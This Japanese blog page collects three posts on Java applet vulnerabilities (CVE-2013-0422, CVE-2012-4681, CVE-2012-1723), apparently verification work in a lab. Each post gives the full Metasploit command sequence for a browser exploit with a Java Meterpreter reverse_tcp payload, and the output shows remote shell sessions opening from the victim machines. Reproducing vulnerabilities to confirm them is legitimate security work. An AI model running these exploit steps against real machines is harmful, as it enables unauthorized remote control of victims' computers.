ラベル Java の投稿を表示しています。 すべての投稿を表示
ラベル Java の投稿を表示しています。 すべての投稿を表示

2013年1月15日火曜日

CVE-2013-0422 Java 7 任意のコードが実行可能な脆弱性

2013年1月10日に Java の脆弱性が報告されていた。
内容としては Java のサンドボックスを回避され任意のコードが実行可能な脆弱性とのこと。
以下 JVN を参照。
http://jvn.jp/cert/JVNTA13-010A/index.html

この脆弱性を利用した metasploit のモジュールがリリースされていたので試してみる。
ソースコードと説明は以下の通り。

ソースコード。
http://www.exploit-db.com/exploits/24045/

metasploit の説明
http://www.metasploit.com/modules/exploit/multi/browser/java_jre17_jmxbean

Rank = ExcellentRanking となっているので期待して試してみる。
クライアントサイドの環境としては Windows XP SP3 / IE8 / Java7u6 となる。


msf > use exploit/multi/browser/java_jre17_jmxbean 
msf  exploit(java_jre17_jmxbean) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf  exploit(java_jre17_jmxbean) > set srvhost 192.168.1.1
srvhost => 192.168.1.1
msf  exploit(java_jre17_jmxbean) > set srvport 80
srvport => 80
msf  exploit(java_jre17_jmxbean) > set lhost 192.168.1.1
lhost => 192.168.1.1
msf  exploit(java_jre17_jmxbean) > set lport 8080
lport => 8080
msf  exploit(java_jre17_jmxbean) > set uripath java
uripath => java
msf  exploit(java_jre17_jmxbean) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.1:8080 
[*] Using URL: http://192.168.1.1:80/java
[*] Server started.
msf  exploit(java_jre17_jmxbean) > 
msf  exploit(java_jre17_jmxbean) > 
[*] 192.168.1.2      java_jre17_jmxbean - handling request for /java
[*] 192.168.1.2      java_jre17_jmxbean - handling request for /java/
[*] 192.168.1.2      java_jre17_jmxbean - handling request for /java/YDtWsbMD.jar
[*] 192.168.1.2      java_jre17_jmxbean - handling request for /java/YDtWsbMD.jar
[*] Sending stage (30216 bytes) to 192.168.1.2
[*] Meterpreter session 1 opened (192.168.1.1:8080 -> 192.168.1.2:1059) at 2013-01-15 21:20:20 +0900

msf  exploit(java_jre17_jmxbean) > show sessions

Active sessions
===============

  Id  Type                   Information                 Connection
  --  ----                   -----------                 ----------
  1   meterpreter java/java  test @ test  192.168.1.1:8080 -> 192.168.1.2:1059 (192.168.1.2)



成功した。
なお、Java6u15 が手元にあったので試しにそちらを試してみたところ失敗した。
Java7 のみの脆弱性なのかもしれないが、どちらにしても1月15日に修正版がりりーすされているので、そちらを適用するのがいい。

2012年8月28日火曜日

8月26日に報告されたJavaの0-day(CVE-2012-4681)について

*CVE を修正してます

8月26日に Java の 0-day に関する Exploit code が公開される
http://pastie.org/4594319


FireEye からはこの Java の 0-day が実際に使用されているとの報告

8月28日になってようやく JVN に登録される。
http://jvn.jp/cert/JVNTA12-240A/index.html

Metasploit のモジュールが8月27日に公開されていたので早速試してみる。
https://community.rapid7.com/community/metasploit/blog/2012/08/27/lets-start-the-week-with-a-new-java-0day
http://www.metasploit.com/modules/exploit/multi/browser/java_jre17_exec

が、検証環境だとうまく動作しない。
検索してみると、JRE のバージョンによって Exploit が成功しない場合もあるとのこと。
http://scrammed.blogspot.jp/2012/08/analysing-cve-2012-xxxx-latest-java-0day.html

色々試した結果、検証環境のブラウザが IE6 だったのが原因・・・。
IE8 にすると成功するが、詳細までは調べていない。

msf > use exploit/multi/browser/java_jre17_exec
msf  exploit(java_jre17_exec) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf  exploit(java_jre17_exec) > set srvhost 172.16.0.80
srvhost => 172.16.0.80
msf  exploit(java_jre17_exec) > set srvport 80
srvport => 80
msf  exploit(java_jre17_exec) > set uripath jre
uripath => jre
msf  exploit(java_jre17_exec) > set lhost 172.16.0.80
lhost => 172.16.0.80
msf  exploit(java_jre17_exec) > set lport 8080
lport => 8080
msf  exploit(java_jre17_exec) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 172.16.0.80:8080
[*] Using URL: http://172.16.0.80:80/jre
[*] Server started.
msf  exploit(java_jre17_exec) > [*] 172.16.0.100    java_jre17_exec - Java 7 Applet Remote Code Execution handling request
[*] 172.16.0.100    java_jre17_exec - Sending Applet.jar
[*] 172.16.0.100    java_jre17_exec - Sending Applet.jar
[*] Sending stage (30216 bytes) to 172.16.0.100
[*] Meterpreter session 1 opened (172.16.0.80:8080 -> 172.16.0.100:1118) at 2012-08-28 20:32:52 +0900
msf  exploit(java_jre17_exec) >
8月28日時点ではまだ JRE の修正版は出ていない。


2012年7月12日木曜日

CVE-2012-1723

CVE-2012-1723 で公開された Java Applet の脆弱性をつく exploit が公開されたので検証

脆弱性の詳細については下記参照
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-1723
http://jvndb.jvn.jp/ja/contents/2012/JVNDB-2012-002752.html

Exploit の詳細については下記参照
http://www.exploit-db.com/exploits/19717/
http://www.metasploit.com/modules/exploit/multi/browser/java_verifier_field_access

Metasploit で実行
msf >
msf > use exploit/multi/browser/java_verifier_field_access
msf  exploit(java_verifier_field_access) >
msf  exploit(java_verifier_field_access) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf  exploit(java_verifier_field_access) >
msf  exploit(java_verifier_field_access) > set srvhost 1.0.0.80
srvhost => 1.0.0.80
msf  exploit(java_verifier_field_access) > set srvport 80
srvport => 80
msf  exploit(java_verifier_field_access) > set lhost 1.0.0.80
lhost => 1.0.0.80
msf  exploit(java_verifier_field_access) > set lport 8080
lport => 8080
msf  exploit(java_verifier_field_access) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 1.0.0.80:8080
[*] Using URL: http://1.0.0.80:80/IlDcdK6w4yfJ
[*] Server started.
msf  exploit(java_verifier_field_access) >
古いバージョンの Java を使用している Windows XP から
http://1.0.0.80:80/IlDcdK6w4yfJ
へアクセスしてみる
msf  exploit(java_verifier_field_access) >
[*] 192.168.0.100    java_verifier_field_access - Sending Java Applet Field Bytecode Verifier Cache Remote Code Execution
[*] 192.168.0.100    java_verifier_field_access - Generated jar to drop (5483 bytes).
[*] 192.168.0.100    java_verifier_field_access - Sending jar
[*] 192.168.0.100    java_verifier_field_access - Sending jar
[*] Sending stage (30216 bytes) to 192.168.0.100
[*] Meterpreter session 1 opened (1.0.0.80:8080 -> 192.168.0.100:1039) at 2012-07-12 20:31:59 +0900

msf  exploit(java_verifier_field_access) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >
成功